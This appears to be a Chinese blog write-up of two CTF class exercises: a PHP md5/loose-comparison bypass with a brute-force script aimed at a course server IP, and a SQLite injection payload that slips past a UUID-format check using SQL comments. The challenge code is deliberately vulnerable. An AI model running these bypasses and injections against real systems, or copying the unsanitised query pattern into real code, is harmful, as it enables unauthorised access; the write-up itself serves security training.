0%

练习(大比武_CTF课_第三天)

前言

第三天,练习。

课堂练习

web1

老师布置的练习题,第一题代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require_once('flag.php');
if ($_ = @$_GET['pass']) {
$ua = $_SERVER['HTTP_USER_AGENT'];
if (md5($_) + $_[0] == md5($ua)) {
if ($_[0] == md5($_[0] . $flag)[0]) {
echo $flag;
}
}
} else {
highlight_file(__FILE__);
}

关键问题

1、php的MD5是不能加密数组的,所以可以利用数组绕过第一个参数$_的MD5加密

1
2
3
4
5
#测试代码
<?php
$_= array(0);
echo md5($_);
?>

运行这个PHP代码,是不会得到MD5加密信息的,这时md5($)的结果应当null。
2、PHP的==的问题
PHP执行关系运算“==”时要求运算符两边的数据类型必须一致,所以等号右边的字符串被强制转换成与左边一样的类型。
如果左右都为字符型的话,那么结果一定为真。
3、$_SERVER[‘HTTP_USER_AGENT’]成为了一个可有可无的参数。因为PHP的MD5对于未赋值的变量,默认为””空字符。
这个””空字符的MD5=d41d8cd98f00b204e9800998ecf8427e。所以即使没有HTTP_USER_AGENT也可以直接爆破。
4、md5($
[0] . $flag)[0]的关系,这里其实无所谓,因为他只取了一位。还是靠PHP类型转换的特性来绕过。

可以直接使用脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://47.100.139.40:81/?pass[]=0e"

headers = {
'Host': '47.100.139.40:81',
'User-Agent': 'QNKCDZO',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Origin': 'ohhhhhh'
}

for i in xrange(100000):
html = requests.get(url+str(i))
if '35c3' in html.content:
print i
break

print html.text

另外可以直接构造出?pass[]=0e0这种特殊的playload直接得到结果。
1

web2

也是代码审计题,这里用了sqlite数据库,核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
function swap(&$arr, $i, $j) {
list($arr[$i], $arr[$j]) = array($arr[$j], $arr[$i]);
}

// cryptographic functions
function ksa($key) {
$state = [];
for ($i = 0; $i < 256; $i++) {
$state[$i] = $i;
}
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $state[$i] + ord($key[$i % strlen($key)])) % 256;
swap($state, $i, $j);
}
return $state;
}

function prga($state) {
$i = 0;
$j = 0;
while (1) {
$i = ($i + 1) % 256;
$j = ($j + $state[$i]) % 256;
swap($state, $i, $j);
yield $state[($state[$i] + $state[$j]) % 256];
}
}

function arcfour($str, $key) {
$return = '';
$state = ksa($key);
$gen = prga($state);
for ($i = 0; $i < strlen($str); $i++) {
$return .= chr(ord($str[$i]) ^ $gen->current());
$gen->next();
}
return $return;
}

// utility functions
function is_uuid($str) {
if (strlen($str) !== 36) {
return false;
}
if ($str[8] !== '-' or $str[13] !== '-' or $str[18] !== '-' or $str[23] !== '-') {
return false;
}
return true;
}

function uuid4() {
return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0xfff) | 0x4000,
mt_rand(0, 0x3fff) | 0x8000,
mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0xffff)
);
}

<?php
include 'functions.php';

if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
die('no file was uploaded');
}

if ($_FILES['file']['size'] > 10000) {
die('uploaded file is too large');
}

if (!isset($_POST['uuid']) || empty($_POST['uuid'])) {
die('no UUID was provided');
}

$uuid = $_POST['uuid'];
if (!is_string($uuid) || !is_uuid($uuid)) {
die('invalid UUID');
}

$data = file_get_contents($_FILES['file']['tmp_name']);

$pdo = new PDO('sqlite:key.db');
$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");
$res = $stmt->fetch();

if ($res === false) {
die('key not found');
}

$filename = basename($_FILES['file']['name'], '.encrypted');
$decrypted = arcfour($data, $res['key']);
header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . strlen($decrypted));
header('Content-Type: application/force-download');
echo $decrypted;

这题。。其实早就解出来了。。但是我居然忘记用老师发的flag.png.encrypted文件了。
真是该死这个要狠狠的批评自己。
这题就是没过滤用户提交的数据
直接构造特殊的SQL语句就可以跑出结果。

1
'or id/*-xxxx-xxxx-xxxx-*/like'9e5a%

1

坚持原创技术分享,您的支持将鼓励我继续创作!